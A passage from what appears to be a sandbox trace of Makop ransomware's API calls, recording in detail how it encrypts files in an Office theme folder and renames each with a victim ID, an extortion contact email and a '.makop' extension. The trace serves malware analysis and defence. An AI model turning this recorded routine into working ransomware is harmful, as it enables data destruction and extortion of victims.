dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.669] GetProcessHeap () returned 0x48a0000 [0095.669] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.669] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.669] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.669] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0095.674] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.674] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.674] GetProcessHeap () returned 0x48a0000 [0095.674] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.674] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.674] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.674] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.674] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.675] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.675] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.675] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.675] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.675] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.675] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.676] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x189be, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x189be, lpOverlapped=0x0) returned 1 [0095.679] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x189c0, dwBufLen=0x189c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x189c0) returned 1 [0095.680] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.680] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x189c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x189c0, lpOverlapped=0x0) returned 1 [0095.681] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.681] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x18a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.681] SetEndOfFile (hFile=0x138) returned 1 [0095.689] GetProcessHeap () returned 0x48a0000 [0095.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.690] GetProcessHeap () returned 0x48a0000 [0095.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.690] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0095.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.691] CloseHandle (hObject=0x138) returned 1 [0095.691] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0095.691] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned 69 [0095.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.693] GetProcessHeap () returned 0x48a0000 [0095.693] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.693] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.693] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0095.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.697] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.697] GetProcessHeap () returned 0x48a0000 [0095.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.697] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.697] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.697] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.697] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.698] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.698] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.698] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.698] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.699] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.699] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.699] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x211, lpOverlapped=0x0) returned 1 [0095.699] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x220, dwBufLen=0x220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x220) returned 1 [0095.699] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.699] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x220, lpOverlapped=0x0) returned 1 [0095.699] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.699] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.699] SetEndOfFile (hFile=0x138) returned 1 [0095.706] GetProcessHeap () returned 0x48a0000 [0095.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.706] GetProcessHeap () returned 0x48a0000 [0095.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.706] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0095.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.711] CloseHandle (hObject=0x138) returned 1 [0095.711] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0095.711] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0095.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.712] GetProcessHeap () returned 0x48a0000 [0095.712] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.712] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.712] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.712] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.712] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.712] GetProcessHeap () returned 0x48a0000 [0095.712] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.712] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.712] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.713] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.716] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.717] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.717] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.717] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.717] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.717] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.717] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.717] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb20, lpOverlapped=0x0) returned 1 [0095.718] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb20, dwBufLen=0xb20 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb20) returned 1 [0095.718] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.718] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb20, lpOverlapped=0x0) returned 1 [0095.718] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.718] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.718] SetEndOfFile (hFile=0x138) returned 1 [0095.726] GetProcessHeap () returned 0x48a0000 [0095.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.726] GetProcessHeap () returned 0x48a0000 [0095.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.726] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0095.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.734] CloseHandle (hObject=0x138) returned 1 [0095.735] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0095.735] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0095.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.735] GetProcessHeap () returned 0x48a0000 [0095.736] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.736] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.736] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.736] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0095.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.740] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.741] GetProcessHeap () returned 0x48a0000 [0095.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.741] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.741] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.741] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.741] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.741] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.741] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.741] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.742] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.742] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.742] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.742] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.742] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8864, lpOverlapped=0x0) returned 1 [0095.743] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8870, dwBufLen=0x8870 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8870) returned 1 [0095.744] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.744] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8870, lpOverlapped=0x0) returned 1 [0095.744] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.744] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x8944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.745] SetEndOfFile (hFile=0x138) returned 1 [0095.752] GetProcessHeap () returned 0x48a0000 [0095.752] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.752] GetProcessHeap () returned 0x48a0000 [0095.752] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.752] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0095.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.753] CloseHandle (hObject=0x138) returned 1 [0095.754] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0095.754] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.754] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, 